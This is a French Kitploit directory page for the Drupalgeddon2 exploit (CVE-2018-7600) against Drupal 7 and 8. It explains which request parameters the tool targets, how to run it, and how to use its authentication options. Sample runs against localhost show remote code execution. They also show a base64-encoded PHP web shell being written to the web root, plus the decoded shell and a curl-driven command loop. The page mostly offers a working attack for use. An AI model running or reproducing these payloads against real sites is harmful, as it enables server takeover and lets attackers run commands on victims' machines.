Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Drupalgeddon2 — Exploit pour Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Outils/GitHubGitHub/dreadlocked/drupalgeddon2
Génération de PayloadsAnalyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebTests d'Intrusion
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Exploit pour Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Voir le dépôt
60016937il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Supporte :

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, ciblant les paramètres account/mail et #post_render, en utilisant la fonction PHP passthru
  • Drupal < 7.58 ~ URL user/password, ciblant le formulaire triggering_element_name et le paramètre #post_render, en utilisant la fonction PHP passthru
  • Fonctionne avec des commandes directes (aussi appelé méthode sans fichier / File-Less Method) ou écrit un shell PHP à la racine web (./) ou dans des sous-répertoires (./sites/default/ et ./sites/default/files/)
  • Prend en charge les cibles Linux et Windows
  • Détecte automatiquement la version de Drupal (ou fait une bonne supposition !)

La méthode user/register a été choisie pour Drupal v8.x, car elle renvoie HTTP 200 et affiche la sortie dans la réponse JSON data (décommentez le code pour la méthode timezone/#lazy_builder, qui renvoie HTTP 500 et en aveugle !) (Plus d'informations)

Auteurs :

  • Hans Topo (@_dreadlocked)
  • g0tmi1k (@g0tmi1k)

Notes :

  • Pour les utilisateurs/configurations avancés, il existe un exploit plus personnalisable. Voir la section drupalgeddon2-customizable-beta.rb
  • Avant d'ouvrir un ticket, veuillez lire la section de dépannage à la fin. Merci !

Utilisation :

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

Les paramètres --verbose et --authentication peuvent être ajoutés dans n'importe quel ordre après et sont tous deux optionnels. Si --authentication est spécifié, vous serez invité à soumettre :

  • le nom d'utilisateur,
  • le mot de passe,
  • le nom du champ du formulaire pour le nom d'utilisateur,
  • le nom du champ du formulaire pour le mot de passe,
  • le chemin URL de la page de connexion web, ex. user/login
  • l'éventuel suffixe à ajouter après les identifiants dans l'envoi du formulaire, ex. form_id, etc.

Ceci permet de prendre en charge l'exploitation de sites web qui nécessitent d'abord une connexion web basée sur POST et qui répondent avec un cookie de session après une authentification réussie.

Exemple Drupal v8.x

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Exemple Drupal v7.x

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

Commandes directes / Shell non PHP (méthode sans fichier)

Si vous ne voulez même pas essayer d'écrire un shell web PHP sur le serveur web, modifiez le fichier comme indiqué (il se rabattra s'il ne trouve pas d'emplacement accessible en écriture de toute façon) :

try_phpshelltryphpshell = false

Exemple

Télécharger l’outil